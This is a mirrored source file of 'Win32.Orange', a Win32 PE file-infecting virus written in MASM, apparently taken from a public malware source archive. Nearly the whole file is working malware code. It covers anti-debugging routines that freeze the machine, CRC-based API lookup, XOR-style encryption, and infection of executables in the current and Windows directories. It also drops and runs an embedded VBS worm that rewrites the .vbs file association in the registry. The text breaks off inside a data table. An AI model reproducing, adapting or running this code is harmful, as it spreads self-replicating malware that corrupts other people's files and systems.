mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
1038 lines
25 KiB
NASM
1038 lines
25 KiB
NASM
;
|
|
; -Greetz to all 29Aerz,and iKX'erz-
|
|
;
|
|
; Win32.Orange [created by Ebola] paired with VBS/Orange2
|
|
;
|
|
; Type: Win32 PE infector
|
|
; Size: Approx 3.0KB
|
|
; Encrypted: Yes (1 layer)
|
|
; Polymorphic: No
|
|
; Optimized: Yes, CRC api's and somewhat optimized opcodes (damn I need lessons from Super/29A:)
|
|
; Payload: None, but drops a VBS virus.
|
|
; Misc. Features: Drops a VBS virus file and executes it. Several Anti-Debug,Anti-Emu features
|
|
; and last it uses lots of SEH
|
|
; Infections: All files in current directory and 13 files in the windows directory.
|
|
;
|
|
; Alright I believe this is my 2nd win32 virus release, my first one is zipped up with a
|
|
; password that I don't remember :). Anyway, this direct infector infects all files in current
|
|
; directory and 13 files in windows directory. It drops a VBS/Virus (VBS/Orange2).
|
|
;
|
|
; What's next? Probably gonna make a worm in win32asm.. :))
|
|
;
|
|
; Feelings (huh? I have no idea:)
|
|
;
|
|
; Even if you don't live in the U.S., I feel very vehement about what Bin Laden did
|
|
; to our country. I know everyone has their own opinions and I respect those opinions
|
|
; and I don't want to get into a little political war about how unfair the U.S. can
|
|
; be to other countries, but I think his billionaire ass should burn in hell. Speekin
|
|
; of BILLionaire ass, I will not be held responsible for any damages or any havoc that
|
|
; this software causes to any systems. I do not condone nor allow spreading of viruses
|
|
; so by spreading this virus you are involving yourself into the legal system and I will
|
|
; not go to court and support you.. In other words, I hold absolutely no responsibility
|
|
; towards this software and I only support beta testing. I made this out of experimentation
|
|
; on my computer and if you cause worldwide computer failure, I don't care - It's your
|
|
; fault, It's your bad, I have ABSOLUTELY NOTHING TO DO WITHIT!!!
|
|
;
|
|
; Okay, enough rambling, on with the source code, enjoy if you wish
|
|
;
|
|
; ONE MORE THING: Macro Assembler is the only good software M$ has ever made (AGAIN, NO
|
|
; POLITICAL BATTLES PLEASE.. :)
|
|
;
|
|
;** To be compiled with Masm 6.0: Check win32asm.cjb.net
|
|
;** Order of PUSHAD: (E)AX [1Ch], (E)CX [18h], (E)DX [14h], (E)BX [10h], (E)SP [0Ch], (E)BP [8h], (E)SI [4h], (E)DI [0h]
|
|
|
|
.386p
|
|
.model flat, stdcall
|
|
option casemap :none
|
|
|
|
include \masm32\include\windows.inc
|
|
|
|
@Delta_Handle MACRO
|
|
|
|
call markit
|
|
markit:
|
|
pop ebp
|
|
sub ebp,offset markit
|
|
|
|
ENDM
|
|
|
|
OS_WIN98 equ 1
|
|
OS_WINNT equ 2
|
|
|
|
.code
|
|
start:
|
|
virus_start = $
|
|
|
|
pushad
|
|
ASSUME FS: nothing
|
|
|
|
;** kill off some debuggers
|
|
call setupseh
|
|
mov esp,[esp+08h]
|
|
jmp fin
|
|
setupseh:
|
|
xor edx,edx
|
|
push dword ptr fs:[edx]
|
|
mov dword ptr fs:[edx],esp
|
|
|
|
xor eax,eax
|
|
mov dword ptr [eax],00h ; BAM!
|
|
|
|
fin:
|
|
xor edx,edx
|
|
pop dword ptr fs:[edx] ;** clear up the stack
|
|
pop edx
|
|
|
|
;** should be zero
|
|
mov ecx,fs:[20]
|
|
jecxz choker
|
|
|
|
;** locks em up all the time, muahaha
|
|
cli
|
|
jmp $-1
|
|
|
|
choker:
|
|
popad
|
|
|
|
;** First we must get the delta to access our data
|
|
@Delta_Handle
|
|
|
|
or ebp,ebp
|
|
jz monkey
|
|
|
|
mov esi,monkey
|
|
add esi,ebp
|
|
|
|
mov ecx,virus_end-monkey
|
|
push esi
|
|
pop edi
|
|
|
|
decrypt:
|
|
lodsb
|
|
not al ;not al
|
|
stosb
|
|
dec ecx
|
|
jecxz monkey
|
|
jmp decrypt
|
|
|
|
monkey = $
|
|
;** Next we find the kernel in memory
|
|
mov eax,[esp]
|
|
and eax,0FFFF0000h ; Just get the 32bit high word
|
|
|
|
loopgetkern:
|
|
|
|
sub eax,1000h ; Surf throught the pages
|
|
mov bx,word ptr [eax]
|
|
not bx ; protect from having 'MZ' in our code
|
|
cmp bx,not 'ZM' ; and check for a MZ header
|
|
jnz loopgetkern ; no, we keep checking
|
|
|
|
mov [ebp+kernel],eax
|
|
ring3:
|
|
xchg eax,ebx ;** silly anti-emu
|
|
mov ebx,ds ;aahh i love it
|
|
push ebx
|
|
pop ds ; playing with ds is surefire to throw something off
|
|
xchg eax,ebx
|
|
|
|
;** Find our current OS that we're on (NOTE: this may not work on WinME, i am not sure)
|
|
; works with Win98, Win95, WinNT, Win2000 though
|
|
; Taken from Billy Belcebu's great and huge virus writing guide, thanx billy!
|
|
|
|
mov ecx,cs
|
|
xor cl,cl
|
|
|
|
jecxz wNT
|
|
|
|
mov [ebp+CurrentOS],OS_WIN98
|
|
jmp prepare
|
|
wNT:
|
|
mov [ebp+CurrentOS],OS_WINNT
|
|
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
; OK, we have our OS down, next we find our API's
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
|
|
prepare:
|
|
|
|
mov esi,[ebp+kernel]
|
|
mov ebx,esi
|
|
mov esi,[esi+03ch]
|
|
add esi,ebx
|
|
|
|
mov ax,word ptr [esi]
|
|
not ax ; again, hide the 'PE' in the file as AV looks for this
|
|
cmp ax,not "EP" ; check for valid PE file
|
|
jnz no_kernel
|
|
|
|
add esi,78h ; Get to exports address
|
|
mov esi,[esi] ; go there
|
|
add esi,ebx
|
|
|
|
lea edi,[ebp+NumberOfNames] ; we are going to get info from exports table
|
|
|
|
add esi,018h
|
|
|
|
lodsd ; Get number of names,
|
|
stosd ; store it.
|
|
lodsd ; Get RVA of addresses,
|
|
stosd ; store it.
|
|
lodsd ; Get RVA of Names,
|
|
stosd ; store it.
|
|
lodsd ; Get RVA of Ordinals,
|
|
stosd ; store it.
|
|
; total 8 bytes :) usually takes alot more
|
|
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
; Locate our API's ****
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
|
|
lea esi,[ebp+CRC32_PROC]
|
|
mov ecx,[esi]
|
|
lea edi,[ebp+GetProcAddress]
|
|
|
|
loop_getem:
|
|
call Get_APICRC32
|
|
stosd
|
|
|
|
add esi,4
|
|
mov ecx,[esi]
|
|
|
|
jecxz done_finding_api
|
|
|
|
jmp loop_getem
|
|
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
;** Next we do some more tricks to get rid of
|
|
; debuggers or emulators
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
|
|
done_finding_api:
|
|
|
|
call dword ptr [ebp+IsDebuggerPresent] ; find application level debuggers
|
|
jz proceed ; none, proceed to SoftICE
|
|
|
|
; Put anti debug stuff here
|
|
cli
|
|
jmp $-1 ; hang the damn bitches
|
|
|
|
|
|
proceed:
|
|
|
|
call CheckSoftICE ; checks if SoftICE for 95/98/NT is in memory
|
|
or eax,eax ; check EAX
|
|
jz LoadingSequence ; load it up :)
|
|
|
|
jmp leaveth ; SoftICE detected, we're outta here
|
|
|
|
jmp LoadingSequence
|
|
|
|
;** Check for softice presence
|
|
|
|
CheckSoftICE:
|
|
|
|
push 00h
|
|
push 80h
|
|
push 03h
|
|
push 00h
|
|
push 01h
|
|
push 0c0000000h
|
|
lea esi,[ebp+SoftICE_Win9X]
|
|
push esi
|
|
call [ebp+CreateFileA]
|
|
|
|
inc eax
|
|
jnz si9x ; SoftICE for Win9X is active
|
|
dec eax
|
|
|
|
push eax
|
|
call [ebp+CloseHandle]
|
|
|
|
;--- check for NTice
|
|
|
|
push 00h
|
|
push 80h
|
|
push 03h
|
|
push 00h
|
|
push 01h
|
|
push 0c0000000h
|
|
lea esi,[ebp+SoftICE_WinNT]
|
|
push esi
|
|
call [ebp+CreateFileA]
|
|
|
|
inc eax
|
|
jnz siNT ; SoftICE for WinNT is active
|
|
dec eax
|
|
|
|
push eax
|
|
call [ebp+CloseHandle]
|
|
|
|
xor eax,eax
|
|
ret
|
|
|
|
si9x:
|
|
mov eax,01h ; SI for Win95/98
|
|
ret
|
|
siNT:
|
|
mov eax,02h ; for NT/2000
|
|
ret
|
|
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
;** Loading of virus components
|
|
Inf32_Counter dd 0
|
|
NumPasses dd 0
|
|
LoadingSequence:
|
|
|
|
dec dword ptr [ebp+Inf32_Counter] ; FFFFFFFF infections: basically every file
|
|
mov [ebp+NumPasses],2 ; 1st pass: curdir 2nd: windir
|
|
|
|
infpass:
|
|
;** Setup an SEH handler to protect our infection routine
|
|
call SetupSEH
|
|
mov esp,[esp+08h]
|
|
jmp DoneSEH
|
|
SetupSEH:
|
|
xor eax,eax
|
|
push dword ptr fs:[eax]
|
|
mov fs:[eax],esp
|
|
|
|
;+-+-+-+-+-+-+-+-+-+-+-
|
|
|
|
lea edi,[ebp+FindData]
|
|
push edi
|
|
lea eax,[ebp+FileMask]
|
|
push eax
|
|
|
|
call [ebp+FindFirstFileA] ; find the first file...
|
|
|
|
inc eax
|
|
jz leaveth
|
|
dec eax
|
|
mov ebx,eax
|
|
|
|
infect: push ebx ; save findhandle
|
|
|
|
push dword ptr [edi+20h] ; push the filesize
|
|
add edi,02Ch ; point to filename and..
|
|
push edi ; push
|
|
call InfectFile ; Infect the file!
|
|
|
|
pop ebx ; restore FindHandle (we modify EBX)
|
|
|
|
dec dword ptr [ebp+Inf32_Counter]
|
|
jz __next
|
|
|
|
lea edi,[ebp+FindData] ; re-initialize EDI
|
|
push edi
|
|
|
|
add edi,02Ch ; clear filename field (so no overwriting is done)
|
|
xor al,al
|
|
mov ecx,256
|
|
rep stosb
|
|
|
|
mov edi,[esp] ; restore EDI
|
|
|
|
push ebx ; find the next valid file
|
|
call [ebp+FindNextFileA]
|
|
|
|
or eax,eax
|
|
jnz infect
|
|
|
|
push ebx
|
|
call [ebp+FindClose]
|
|
|
|
;+-+-+-+-+-+-+-+-+-+-+-
|
|
|
|
DoneSEH:
|
|
xor eax,eax
|
|
pop dword ptr fs:[eax]
|
|
pop eax
|
|
|
|
__next:
|
|
dec dword ptr [ebp+NumPasses]
|
|
jz weredone
|
|
|
|
push 128
|
|
lea edi,[ebp+Buffer]
|
|
push edi
|
|
call [ebp+GetWindowsDirectoryA]
|
|
|
|
push edi
|
|
call [ebp+SetCurrentDirectoryA]
|
|
|
|
mov [ebp+Inf32_Counter],13
|
|
jmp infpass
|
|
|
|
weredone:
|
|
|
|
call InstallVBS ; extract the VBS file to the current directory
|
|
|
|
jmp leaveth
|
|
|
|
;********BEGINNING OF INFECTOR***************
|
|
|
|
InfectFile:
|
|
pop eax ; return address
|
|
pop esi ; file name
|
|
pop ecx ; file size
|
|
; pop edx ; file attribs
|
|
|
|
mov [ebp+addr_ret],eax
|
|
mov [ebp+filename],esi
|
|
mov [ebp+file_size],ecx
|
|
; mov [ebp+file_attr],edx
|
|
|
|
;save the old entry point and imagebase
|
|
mov ebx,[ebp+ImageBase]
|
|
mov [ebp+ib],ebx
|
|
mov ebx,[ebp+OldEIP]
|
|
mov [ebp+oe],ebx
|
|
;**--**
|
|
|
|
push ecx ; save it
|
|
|
|
push 080h ; wipe attributes off
|
|
push esi
|
|
call [ebp+SetFileAttributesA]
|
|
|
|
|
|
|
|
call Open ; i dont even bother checking if its valid, we find out after
|
|
mov ecx,[esp] ; it has been mapped
|
|
xchg eax,ebx
|
|
call GenMap ; map it in memory
|
|
xchg eax,ebx
|
|
mov ecx,[esp]
|
|
call MapIt
|
|
|
|
pop ecx
|
|
|
|
or eax,eax
|
|
jz close
|
|
|
|
|
|
|
|
cmp word ptr [eax],'ZM' ; is it a valid exe?
|
|
jnz close
|
|
|
|
mov esi,eax
|
|
mov esi,[esi+03ch] ; get to pe header
|
|
add esi,eax
|
|
|
|
cmp word ptr [esi],'EP' ; is it a PE/exe?
|
|
jnz close
|
|
|
|
cmp dword ptr [esi+04Ch],77661212h ; are we infected?
|
|
jz close
|
|
|
|
push dword ptr [esi+03Ch] ; save file alignment
|
|
|
|
|
|
|
|
call CLOSEPROC ; close file
|
|
|
|
mov eax,[ebp+file_size] ; put old size in eax
|
|
pop ecx
|
|
add eax,virus_end-virus_start ; make it the new size
|
|
|
|
call Factor ; factor it into the alignment
|
|
|
|
mov [ebp+file_size],eax ; store it again
|
|
xchg ecx,eax
|
|
|
|
|
|
|
|
push ecx
|
|
mov esi,[ebp+filename] ; reopen etc....
|
|
call Open
|
|
xchg eax,ebx
|
|
mov ecx,[esp]
|
|
call GenMap
|
|
xchg eax,ebx
|
|
mov ecx,[esp]
|
|
call MapIt
|
|
pop ecx
|
|
or eax,eax ; check make sure its valid
|
|
jz close
|
|
|
|
; proceed infection
|
|
|
|
mov esi,eax
|
|
push esi
|
|
pop ebx
|
|
mov esi,[esi+03ch]
|
|
add esi,ebx
|
|
movzx eax,word ptr [esi+06h] ; number of sections
|
|
dec eax ; - 1
|
|
imul eax,eax,28h ; gets us to last section
|
|
mov ebx,esi
|
|
add esi,78h+(8*10h) ; blah..
|
|
add esi,eax
|
|
|
|
|
|
|
|
or dword ptr [esi+24h],0a0000020h ; code,readable,writable
|
|
mov ecx,[esi+10h]
|
|
push ecx
|
|
mov edx,[esi+14h]
|
|
|
|
mov eax,[esi+0Ch]
|
|
add eax,ecx
|
|
|
|
mov edx,[ebx+28h] ; Old EIP
|
|
mov [ebp+OldEIP],edx
|
|
mov edx,[ebx+34h] ; image base
|
|
mov [ebp+ImageBase],edx
|
|
|
|
mov [ebx+28h],eax ; the new eip is stored
|
|
|
|
mov eax,ecx
|
|
add eax,virus_end-virus_start
|
|
mov ecx,[ebx+03Ch]
|
|
call Factor
|
|
|
|
mov [esi+10h],eax ; set the new sizes, this is physical size
|
|
mov [esi+08h],eax ; virtual size
|
|
mov edx,eax
|
|
|
|
mov ebx,[ebp+MappedView] ; need a handle again
|
|
|
|
mov edi,[esi+14h] ; Pointer to Raw Data (in PE header)
|
|
add edi,ebx ; point it to the end of the file (to write our virus)
|
|
pop ecx ; size of last section
|
|
add edi,ecx ; point to the end of last section
|
|
push esi ; save ESI
|
|
lea esi,[ebp+virus_start] ; ... you should know this :)
|
|
mov ecx,virus_end-virus_start ; setup the length of the virus
|
|
push ecx
|
|
|
|
rep movsb ; copy the virus there!
|
|
|
|
pop ecx
|
|
|
|
sub ecx,monkey-virus_start
|
|
sub edi,ecx
|
|
mov esi,edi
|
|
|
|
encrypt:
|
|
lodsb
|
|
not al
|
|
stosb
|
|
dec ecx
|
|
jecxz @bbcr
|
|
jmp encrypt
|
|
|
|
@bbcr:
|
|
pop esi ; restore ESI
|
|
|
|
mov eax,ebx ; fix it to point to PE header
|
|
mov ebx,[ebx+03Ch] ; e_lfanew
|
|
add ebx,eax ; normalize
|
|
|
|
mov eax,[esi+0Ch] ; VA address of last section
|
|
add eax,edx ; add our new length
|
|
mov [ebx+50h],eax ; and we have size of image
|
|
|
|
mov dword ptr [ebx+04Ch],77661212h ; mark it as infected
|
|
|
|
;** next we restore old image base and entrypoint
|
|
mov ebx,[ebp+ib]
|
|
mov eax,[ebp+oe]
|
|
mov [ebp+ImageBase],ebx
|
|
mov [ebp+OldEIP],eax
|
|
;**--**
|
|
|
|
close:
|
|
call CLOSEPROC
|
|
jmp setattr
|
|
|
|
setattr:
|
|
push dword ptr [ebp+file_attr]
|
|
push dword ptr [ebp+filename]
|
|
call [ebp+SetFileAttributesA]
|
|
|
|
exit_inf:
|
|
push [ebp+addr_ret]
|
|
|
|
ret
|
|
|
|
;***********************************************
|
|
; Infectors data, i just keep it in the proc
|
|
;***********************************************
|
|
|
|
dataset:
|
|
|
|
addr_ret dd 0
|
|
file_size dd 0
|
|
file_attr dd 80h
|
|
|
|
FileHandle dd 0
|
|
MappedFile dd 0
|
|
MappedView dd 0
|
|
|
|
filename dd 0
|
|
|
|
ib dd 0
|
|
oe dd 0
|
|
;***********************************************
|
|
; Infectors helper functions
|
|
;***********************************************
|
|
|
|
Factor:
|
|
pushad
|
|
xor edx,edx
|
|
push eax
|
|
div ecx
|
|
pop eax
|
|
sub ecx,edx
|
|
add eax,ecx
|
|
mov [esp+01Ch],eax
|
|
popad
|
|
ret
|
|
|
|
CLOSEPROC:
|
|
push dword ptr [ebp+MappedView]
|
|
call [ebp+UnmapViewOfFile]
|
|
|
|
push dword ptr [ebp+MappedFile]
|
|
call [ebp+CloseHandle]
|
|
|
|
push dword ptr [ebp+FileHandle]
|
|
call [ebp+CloseHandle]
|
|
ret
|
|
|
|
|
|
;** open file for read/write ESI = FileName
|
|
Open:
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push 3h
|
|
push eax
|
|
push 1h
|
|
push 0C0000000h
|
|
push esi
|
|
call [ebp+CreateFileA]
|
|
mov [ebp+FileHandle],eax
|
|
ret
|
|
; ECX=Size EBX=FileHandle
|
|
GenMap:
|
|
xor eax,eax
|
|
push eax
|
|
push ecx
|
|
push eax
|
|
push 04h
|
|
push eax
|
|
push ebx
|
|
call [ebp+CreateFileMappingA]
|
|
mov [ebp+MappedFile],eax
|
|
ret
|
|
|
|
; ECX=Size EBX=Handle returned by GenMap
|
|
MapIt:
|
|
xor eax,eax
|
|
push ecx
|
|
push eax
|
|
push eax
|
|
push 02h
|
|
push ebx
|
|
call [ebp+MapViewOfFile]
|
|
mov [ebp+MappedView],eax
|
|
ret
|
|
|
|
;*********END OF INFECTOR****************
|
|
|
|
InstallVBS proc
|
|
|
|
lea esi,[ebp+vbsfile]
|
|
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
inc eax
|
|
push eax
|
|
dec eax
|
|
push eax
|
|
inc eax
|
|
push eax
|
|
push 0c0000000h
|
|
push esi
|
|
call [ebp+CreateFileA]
|
|
|
|
mov [ebp+FileHandle],eax
|
|
|
|
push eax
|
|
|
|
lea edi,[ebp+Buffer]
|
|
|
|
push 00h
|
|
push edi
|
|
push dword ptr [ebp+sizevbs]
|
|
lea esi,[ebp+vbsdata]
|
|
push esi
|
|
push eax
|
|
call [ebp+WriteFile]
|
|
|
|
call [ebp+CloseHandle]
|
|
|
|
;############################
|
|
|
|
lea esi,[ebp+_Shell32]
|
|
push esi
|
|
call [ebp+LoadLibraryA]
|
|
|
|
push eax
|
|
lea esi,[ebp+_ShellExecute]
|
|
push esi
|
|
push eax
|
|
call [ebp+GetProcAddress]
|
|
|
|
push 01h
|
|
push 00h
|
|
push 00h
|
|
lea esi,[ebp+vbsfile]
|
|
push esi
|
|
lea esi,[ebp+_OpenExecute]
|
|
push esi
|
|
push 00h
|
|
call eax
|
|
|
|
call [ebp+FreeLibrary]
|
|
|
|
;############################
|
|
|
|
ret
|
|
|
|
InstallVBS endp
|
|
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
;** Leave
|
|
|
|
no_kernel:
|
|
leaveth:
|
|
or ebp,ebp
|
|
jz firstgeneration
|
|
|
|
mov eax,00400000h
|
|
ImageBase equ $-4
|
|
add eax,00001000h
|
|
OldEIP equ $-4
|
|
|
|
jmp eax
|
|
|
|
firstgeneration:
|
|
push 0
|
|
call [ebp+ExitProcess]
|
|
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
;** Error handling and must-exit thingy's
|
|
;#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*#*#*#-#*#*
|
|
|
|
;---------------------------------------
|
|
; Different functions we use *******
|
|
;---------------------------------------
|
|
|
|
CRC32 proc
|
|
cld
|
|
xor ecx,ecx ; Optimized by me - 2 bytes
|
|
dec ecx ; less
|
|
mov edx,ecx
|
|
NextByteCRC:
|
|
xor eax,eax
|
|
xor ebx,ebx
|
|
lodsb
|
|
xor al,cl
|
|
mov cl,ch
|
|
mov ch,dl
|
|
mov dl,dh
|
|
mov dh,8
|
|
NextBitCRC:
|
|
shr bx,1
|
|
rcr ax,1
|
|
jnc NoCRC
|
|
xor ax,08320h
|
|
xor bx,0EDB8h
|
|
NoCRC: dec dh
|
|
jnz NextBitCRC
|
|
xor ecx,eax
|
|
xor edx,ebx
|
|
dec edi ; 1 byte less
|
|
jnz NextByteCRC
|
|
not edx
|
|
not ecx
|
|
mov eax,edx
|
|
rol eax,16
|
|
mov ax,cx
|
|
ret
|
|
CRC32 endp
|
|
|
|
;** Finds api address via CRC32 of Api name
|
|
; portions of this code used from Billy Belcebu's win32 viruswriting guide
|
|
; thanx billy :)
|
|
; expects ecx to be crc32 of api, ebx to be kernel base
|
|
Get_APICRC32 PROC
|
|
|
|
pushad ; save all of the registers - required...
|
|
|
|
mov edx,[ebp+ExportNameRVA] ; open the export table
|
|
add edx,ebx
|
|
mov edi,[edx]
|
|
add edi,ebx
|
|
|
|
and dword ptr [ebp+ExportCounter],00h ; clear the counter
|
|
|
|
loop_check_crc: ; Soma this code was taken from billy belcebu's guide to virus writing for win32
|
|
|
|
mov esi,edi ; save edi in esi
|
|
xor al,al ; find the length
|
|
scasb
|
|
jnz $-1
|
|
sub edi,esi ; .. solve it
|
|
pushad ; save all regs
|
|
push ecx ; save ecx as it is important
|
|
call CRC32
|
|
pop ecx ; restore ecx
|
|
cmp eax,ecx ; compare the two CRC32's
|
|
jnz next_api ; no match
|
|
popad ; a match, restore regs and find the address
|
|
jmp found
|
|
|
|
next_api:
|
|
popad ; restore the regs
|
|
inc dword ptr [ebp+ExportCounter] ; increase counter
|
|
|
|
add edx,4
|
|
mov edi,[edx]
|
|
add edi,ebx
|
|
|
|
jmp loop_check_crc ; all over a gain
|
|
|
|
found:
|
|
xor eax,eax ; clear eax
|
|
mov eax,dword ptr [ebp+ExportCounter] ; put the counter in it
|
|
|
|
mov esi,[ebp+ExportOrdinalRVA] ; put the ordinal RVA...
|
|
shl eax,1
|
|
add esi,eax
|
|
add esi,ebx ; ok now we get the ordinal
|
|
|
|
lodsw ; we have it
|
|
|
|
shl ax,2 ; Ordinal*4+KernelBase+AddressOfAddy's equals /
|
|
; pointer to function address!
|
|
mov esi,[ebp+ExportAddressRVA]
|
|
add esi,ebx
|
|
add esi,eax
|
|
lodsd ; get the data pointed to
|
|
add eax,ebx ; normalize by kernel
|
|
mov [ebp+save],eax ; save it for we restore all registers now
|
|
|
|
popad ; restore'em
|
|
|
|
mov eax,[ebp+save] ; put into eax
|
|
|
|
ret ; and return with our new found addy
|
|
|
|
save dd 0
|
|
|
|
Get_APICRC32 endp
|
|
;----------------------------------------
|
|
; The VBS/Worm
|
|
;----------------------------------------
|
|
_OpenExecute db "open",0
|
|
_ShellExecute db "ShellExecuteA",0
|
|
_Shell32 db "Shell32.dll",0
|
|
|
|
vbsfile db "readme.txt.vbs",0
|
|
vbsdata db 67,97,108,108,32,118,98,115,78,101,99,116,111,114,13,10
|
|
db 87,83,99,114,105,112,116,46,113,117,105,116,13,10,39,13
|
|
db 10,83,117,98,32,118,98,115,78,101,99,116,111,114,40,41
|
|
db 13,10,68,105,109,32,118,105,13,10,13,10,83,101,116,32
|
|
db 115,32,61,32,87,83,99,114,105,112,116,46,65,114,103,117
|
|
db 109,101,110,116,115,13,10,83,101,116,32,111,98,106,83,104
|
|
db 101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101
|
|
db 99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108
|
|
db 108,34,41,13,10,83,101,116,32,102,115,32,61,32,67,114
|
|
db 101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105
|
|
db 112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109
|
|
db 79,98,106,101,99,116,34,41,13,10,77,121,115,99,114,105
|
|
db 112,116,32,61,32,87,83,99,114,105,112,116,46,83,99,114
|
|
db 105,112,116,70,117,108,108,78,97,109,101,13,10,83,101,116
|
|
db 32,102,32,61,32,102,115,46,111,112,101,110,116,101,120,116
|
|
db 102,105,108,101,40,77,121,115,99,114,105,112,116,44,49,41
|
|
db 13,10,118,105,114,32,61,32,102,46,82,101,97,100,65,108
|
|
db 108,13,10,102,46,99,108,111,115,101,13,10,83,101,116,32
|
|
db 102,32,61,32,78,111,116,104,105,110,103,13,10,73,102,32
|
|
db 73,110,83,116,114,40,49,44,76,67,97,115,101,40,77,121
|
|
db 115,99,114,105,112,116,41,44,34,114,101,97,100,109,101,46
|
|
db 116,120,116,46,118,98,115,34,44,49,41,32,84,104,101,110
|
|
db 13,10,111,98,106,83,104,101,108,108,46,82,101,103,87,114
|
|
db 105,116,101,32,34,72,75,69,89,95,67,76,65,83,83,69
|
|
db 83,95,82,79,79,84,92,86,66,83,70,105,108,101,92,83
|
|
db 104,101,108,108,92,79,112,101,110,92,67,111,109,109,97,110
|
|
db 100,92,34,44,102,115,46,71,101,116,83,112,101,99,105,97
|
|
db 108,70,111,108,100,101,114,40,48,41,32,43,32,34,92,87
|
|
db 83,99,114,105,112,116,46,69,88,69,32,34,32,43,32,77
|
|
db 121,115,99,114,105,112,116,32,43,32,34,32,37,49,32,34
|
|
db 32,43,32,67,104,114,40,51,52,41,32,43,32,102,115,46
|
|
db 71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114
|
|
db 40,48,41,32,43,32,34,92,87,83,99,114,105,112,116,46
|
|
db 69,88,69,32,34,32,43,32,67,104,114,40,51,52,41,32
|
|
db 43,32,34,37,49,34,32,43,32,67,104,114,40,51,52,41
|
|
db 32,43,32,34,32,37,42,34,32,43,32,67,104,114,40,51
|
|
db 52,41,13,10,69,110,100,32,73,102,13,10,13,10,73,102
|
|
db 32,115,46,67,111,117,110,116,32,62,32,49,32,84,104,101
|
|
db 110,13,10,9,9,83,101,116,32,102,32,61,32,102,115,46
|
|
db 111,112,101,110,116,101,120,116,102,105,108,101,40,115,40,48
|
|
db 41,44,49,41,13,10,9,9,118,105,32,61,32,102,46,82
|
|
db 101,97,100,65,108,108,13,10,9,9,102,46,99,108,111,115
|
|
db 101,13,10,9,9,83,101,116,32,102,32,61,32,78,111,116
|
|
db 104,105,110,103,13,10,13,10,9,9,83,101,116,32,102,32
|
|
db 61,32,102,115,46,99,114,101,97,116,101,116,101,120,116,102
|
|
db 105,108,101,40,34,36,116,116,121,107,36,46,118,98,95,34
|
|
db 41,13,10,9,13,10,9,9,73,102,32,73,110,83,116,114
|
|
db 40,49,44,118,105,44,34,118,98,115,78,101,99,116,111,114
|
|
db 34,44,49,41,32,84,104,101,110,13,10,9,9,9,69,120
|
|
db 105,116,32,83,117,98,13,10,9,9,69,110,100,32,73,102
|
|
db 13,10,9,13,10,9,9,110,116,116,32,61,32,73,110,83
|
|
db 116,114,40,49,44,118,105,114,44,34,39,34,44,49,41,13
|
|
db 10,9,13,10,9,9,102,46,119,114,105,116,101,32,34,99
|
|
db 97,108,108,32,118,98,115,78,101,99,116,111,114,34,32,43
|
|
db 32,118,98,67,114,76,102,13,10,9,9,102,46,119,114,105
|
|
db 116,101,32,118,105,32,43,32,118,98,67,114,76,102,13,10
|
|
db 9,9,102,46,119,114,105,116,101,32,77,105,100,40,118,105
|
|
db 114,44,110,116,116,44,76,101,110,40,118,105,114,41,45,110
|
|
db 116,116,41,13,10,9,9,9,13,10,9,9,102,46,99,108
|
|
db 111,115,101,13,10,9,9,83,101,116,32,102,32,61,32,78
|
|
db 111,116,104,105,110,103,13,10,9,13,10,9,9,111,98,106
|
|
db 83,104,101,108,108,46,82,117,110,32,115,40,49,41,13,10
|
|
db 9,9,102,115,46,67,111,112,121,70,105,108,101,32,34,36
|
|
db 116,116,121,107,36,46,118,98,95,34,44,115,40,48,41,13
|
|
db 10,69,110,100,32,73,102,13,10,69,110,100,32,83,117,98
|
|
db 13,10
|
|
|
|
sizevbs dd 1042d
|
|
|
|
;----------------------------------------
|
|
; Different data we use ************
|
|
;----------------------------------------
|
|
|
|
CRC32_PROC dd 0FFC97C1Fh ; GetProcAddress
|
|
dd 04134D1ADh ; LoadLibraryA
|
|
dd 019F33607h ; CreateThread
|
|
dd 0AFDF191Fh ; FreeLibrary
|
|
dd 08C892DDFh ; CreateFileA
|
|
dd 0797B49ECh ; MapViewOfFile
|
|
dd 094524B42h ; UnmapViewOfFile
|
|
dd 096B2D96Ch ; CreateFileMappingA
|
|
dd 068624A9Dh ; CloseHandle
|
|
dd 0AE17EBEFh ; FindFirstFileA
|
|
dd 0AA700106h ; FindNextFileA
|
|
dd 0C200BE21h ; FindClose
|
|
dd 0FE248274h ; GetWindowsDirectoryA
|
|
dd 0593AE7CEh ; GetSystemDirectoryA
|
|
dd 0B2DBD7DCh ; SetCurrentDirectoryA
|
|
dd 0EBC6C18Bh ; GetCurrentDirectoryA
|
|
dd 0C38969C7h ; SetPriorityClass
|
|
dd 085859D42h ; SetFilePointer
|
|
dd 059994ED6h ; SetEndOfFile
|
|
dd 0C633D3DEh ; GetFileAttributesA
|
|
dd 03C19E536h ; SetFileAttributesA
|
|
dd 0EF7D811Bh ; GetFileSize
|
|
dd 0B99F1B1Eh ; GetDriveTypeA
|
|
dd 083A353C3h ; GlobalAlloc
|
|
dd 05CDF6B6Ah ; GlobalFree
|
|
dd 02E12ADB5h ; GlobalLock
|
|
dd 088BC746Eh ; GlobalUnlock
|
|
dd 052E3BEB1h ; IsDebuggerPresent
|
|
